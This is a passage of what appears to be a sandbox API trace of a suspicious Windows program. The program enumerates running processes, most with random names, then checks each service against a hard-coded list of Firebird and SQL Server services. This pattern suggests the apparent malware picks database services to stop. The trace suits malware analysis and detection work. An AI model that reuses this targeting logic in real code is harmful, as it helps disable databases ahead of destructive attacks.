cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0048.747] lstrlenW (lpString="deemed.exe") returned 10 [0048.747] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0048.747] lstrlenW (lpString="scored-prices.exe") returned 17 [0048.747] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0048.748] lstrlenW (lpString="understood.exe") returned 14 [0048.748] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0048.749] lstrlenW (lpString="lee.exe") returned 7 [0048.749] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0048.749] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0048.749] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0048.750] lstrlenW (lpString="romandisclosure.exe") returned 19 [0048.750] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0048.751] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0048.751] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0048.752] lstrlenW (lpString="dllhost.exe") returned 11 [0048.752] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0048.753] lstrlenW (lpString="product.exe") returned 11 [0048.753] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0048.753] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0048.753] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0048.754] lstrlenW (lpString="basin.exe") returned 9 [0048.754] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0048.755] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0048.755] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0048.756] lstrlenW (lpString="tested housewives.exe") returned 21 [0048.756] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.756] lstrlenW (lpString="conhost.exe") returned 11 [0048.756] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.757] lstrlenW (lpString="conhost.exe") returned 11 [0048.757] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.758] lstrlenW (lpString="svchost.exe") returned 11 [0048.758] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0048.759] lstrlenW (lpString="wmxsde.exe") returned 10 [0048.759] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0048.759] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0048.759] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.760] lstrlenW (lpString="conhost.exe") returned 11 [0048.760] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.761] lstrlenW (lpString="cmd.exe") returned 7 [0048.761] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.761] lstrlenW (lpString="conhost.exe") returned 11 [0048.761] Process32NextW (in: hSnapshot=0x280, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0048.762] CloseHandle (hObject=0x280) returned 1 [0048.762] Sleep (dwMilliseconds=0x1f4) [0049.936] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6deac0 [0049.937] EnumServicesStatusExW (in: hSCManager=0x6deac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0049.938] GetLastError () returned 0xea [0049.938] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x700cc8 [0049.938] EnumServicesStatusExW (in: hSCManager=0x6deac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x700cc8, cbBufSize=0x1cd6, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x700cc8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0049.939] CloseServiceHandle (hSCObject=0x6deac0) returned 1 [0049.939] lstrlenW (lpString="Appinfo") returned 7 [0049.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.939] lstrlenW (lpString="AppXSvc") returned 7 [0049.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0049.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0049.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0049.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0049.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0049.940] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.940] lstrlenW (lpString="Audiosrv") returned 8 [0049.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0049.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0049.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0049.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0049.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0049.940] lstrlenW (lpString="BFE") returned 3 [0049.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.940] lstrlenW (lpString="BITS") returned 4 [0049.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0049.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0049.941] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0049.941] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0049.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0049.941] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0049.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0049.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0049.941] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0049.941] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0049.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0049.941] lstrlenW (lpString="CDPSvc") returned 6 [0049.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0049.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0049.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0049.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0049.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0049.941] lstrlenW (lpString="ClickToRunSvc") returned 13 [0049.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0049.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0049.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0049.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0049.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0049.941] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0049.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0049.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0049.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0049.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0049.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0049.942] lstrlenW (lpString="CryptSvc") returned 8 [0049.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.942] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.942] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.942] lstrlenW (lpString="DcomLaunch") returned 10 [0049.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.942] lstrlenW (lpString="DeviceAssociationService") returned 24 [0049.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0049.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0049.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0049.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0049.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0049.942] lstrlenW (lpString="Dhcp") returned 4 [0049.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.943] lstrlenW (lpString="Dnscache") returned 8 [0049.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.943] lstrlenW (lpString="DoSvc") returned 5 [0049.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0049.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0049.943] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0049.943] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0049.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0049.943] lstrlenW (lpString="DPS") returned 3 [0049.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.943] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.943] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.943] lstrlenW (lpString="DusmSvc") returned 7 [0049.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0049.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0049.943] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0049.943] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0049.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0049.943] lstrlenW (lpString="EventLog") returned 8 [0049.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0049.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0049.944] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0049.944] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0049.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0049.944] lstrlenW (lpString="EventSystem") returned 11 [0049.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.944] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.944] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.944] lstrlenW (lpString="FontCache") returned 9 [0049.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0049.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0049.944] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0049.944] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0049.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0049.944] lstrlenW (lpString="gpsvc") returned 5 [0049.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.944] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.944] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.944] lstrlenW (lpString="iphlpsvc") returned 8 [0049.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.945] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.945] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.945] lstrlenW (lpString="KeyIso") returned 6 [0049.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0049.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0049.945] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0049.945] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0049.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0049.945] lstrlenW (lpString="LanmanServer") returned 12 [0049.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.945] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.945] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.945] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.945] lstrlenW (lpString="lfsvc") returned 5 [0049.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0049.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0049.945] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0049.946] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0049.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0049.946] lstrlenW (lpString="lmhosts") returned 7 [0049.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.946] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.946] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.946] lstrlenW (lpString="LSM") returned 3 [0049.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0049.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0049.946] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0049.946] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0049.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0049.946] lstrlenW (lpString="MpsSvc") returned 6 [0049.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.946] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.946] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.946] lstrlenW (lpString="NcbService") returned 10 [0049.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0049.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0049.946] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0049.946] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0049.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0049.947] lstrlenW (lpString="netprofm") returned 8 [0049.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.947] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.947] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.947] lstrlenW (lpString="NgcSvc") returned 6 [0049.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0049.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0049.947] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0049.947] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0049.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0049.947] lstrlenW (lpString="NlaSvc") returned 6 [0049.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.947] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.947] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.947] lstrlenW (lpString="nsi") returned 3 [0049.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.947] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.947] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.948] lstrlenW (lpString="PcaSvc") returned 6 [0049.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.948] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.948] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.948] lstrlenW (lpString="PlugPlay") returned 8 [0049.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.948] lstrcmpiW 